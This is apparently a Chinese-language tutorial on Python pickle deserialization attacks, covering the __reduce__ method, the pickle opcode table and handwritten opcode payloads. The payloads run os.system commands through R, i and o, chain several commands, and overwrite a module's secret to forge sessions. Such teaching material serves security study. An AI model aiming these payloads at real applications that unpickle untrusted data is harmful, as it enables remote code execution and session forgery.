什么是Pickle?

很简单,就是一个python的序列化模块,方便对象的传输与存储。但是pickle的灵活度很高,可以通过对opcode的编写来实现代码执行的效果,由此引发一系列的安全问题

Pickle使用

举个简单的例子

import pickle
class Person():
def __init__(self):
self.age = 18
self.name = 'F12'
p = Person()
opcode = pickle.dumps(p)
print(opcode) person = pickle.loads(opcode)
print(person)
print(person.age)
print(person.name) # 输出结果
# b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x03F12\x94ub.'
# <__main__.Person object at 0x00000297918FBF10>
# 18
# F12

pickle.dumps(p) 将对象序列化,同理pickle.loads(opcode)就是反序列化的过程

注意

值得注意的是在不同平台环境下pickle生成的opcode是不同的,例如在windows和linux环境下相同的对象,dumps下来的opcode就不一样

魔术方法__reduce__

object.__reduce__是object类的一个魔术方法,我们可以通过重写该方法,让该方法在反序列化时按我们的重写的方式执行,python要求该方法返回一个字符串或元组,如果返回元组 (callable, (param1, param2, )) ,那么每当反序列化时,就会调用 callable(param1, param2, ),我们可以控制callable和它的参数来实现代码执行

Pickle反序列化漏洞利用

import pickle
import os
class Exp():
def __reduce__(self):
return (os.system, ('whoami', ))
e = Exp()
opcode = pickle.dumps(e)
pickle.loads(opcode) # 输出结果
sevydhodungnwjp\hacker

很明显在反序列化的过程时执行了 os.system('whoami'),这是pickle反序列化漏洞的最简单的利用方式,要掌握更加高级的利用手法,我们还得继续深入学习pickle

Pickle的工作原理

opcode的解析依靠Pickle Virtual Machine (PVM)进行

PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。



当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

pickle协议是向前兼容的,v0版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以v0版本为例,介绍一下opcode指令

常用opcode指令介绍

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n(记忆栈) pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象(self.stack) 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

更多的opcode指令可以查看pickle.py获取

PVM工作流程

嫖的动图

PVM解析str



PVM解析__reduce__:

手写opcode

举个简单的opcode例子:

opcode = '''cos              # c[moudle]\n[instance]\n
system # 前两句相当于导入os模块,调用system
(S'whoami' # ( 压入MARK标记 , S'whoami' 压入 whoami字符串
tR. # t 寻找栈中的上一个MARK,并组合之间的数据为元组,也就是('whoami')
''' # R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即os.system('whoami')
# . 程序结束,栈顶的一个元素作为pickle.loads()的返回值,返回值就是os.system('whoami')的执行结果

程序:

import pickle
opcode = '''cos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode()) # 运行结果
sevydhodungnwjp\hacker

pickletools介绍

pickletools模块可以将opcode指令转变成易读的形式:

import pickletools
opcode = '''cos
system
(S'whoami'
tR.
'''
print(pickletools.dis(opcode.encode()))

多命令执行

在上面描述的修改reduce来达到命令执行的效果,一次只能执行一条命令,想要多命令执行就只能通过手写opcode来实现,只要不碰到.导致程序结束返回就能一直执行命令

import pickle
opcode = '''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode()) # 运行结果
sevydhodungnwjp\hacker
sevydhodungnwjp\hacker

R,i,o介绍

在opcode里能执行函数的字节码就是R,i,o

  • R
opcode=b'''cos
system
(S'whoami'
tR.
'''
  • i : 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode=b'''(S'whoami'
ios
system
.'''
  • o : 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode=b'''(cos
system
S'whoami'
o.'''

实例化对象

实例化对象也是一种变相的函数执行,因为python不需要new 一个对象(bushi

import pickle
class Person():
def __init__(self, age, name):
self.age = age
self.name = name
opcode = '''c__main__
Person
(I18
S'F12'
tR.
'''
p = pickle.loads(opcode.encode())
print(p.age)
print(p.name) # 运行结果
18
F12

变量覆盖

也是一个nb的利用手段,通常python框架使用了session时都会有个secret,我们可以通过覆盖掉这个secret来伪造session

secret = "F13"
import pickle
import secret
print("一开始:"+ secret.secret)
opcode = b'''c__main__
secret
(S'secret'
S'F12'
db.
'''
fake = pickle.loads(opcode)
print("最后:"+ fake.secret) # 运行结果
一开始:F13
最后:F12

首先通过c来获取main.secret模块,然后将MARK标记压入栈,字符串secret,F12压入栈,d将两个字符串组合成字典也就是{'secret': 'F12'}的形式,由于在pickle中,反序列化的数据都是以key-value的形式存储的,所有main.secret 也就是 {'secret': 'F13'},b执行dict.update(),也就是{'secret': 'F13'}.update({'secret': 'F12'}),最终secret变成了F12

Pker工具介绍

一个方便生成所需要opcode代码的工具:https://github.com/eddieivan01/pker

仿python语法生成opcode,使用方法很简单

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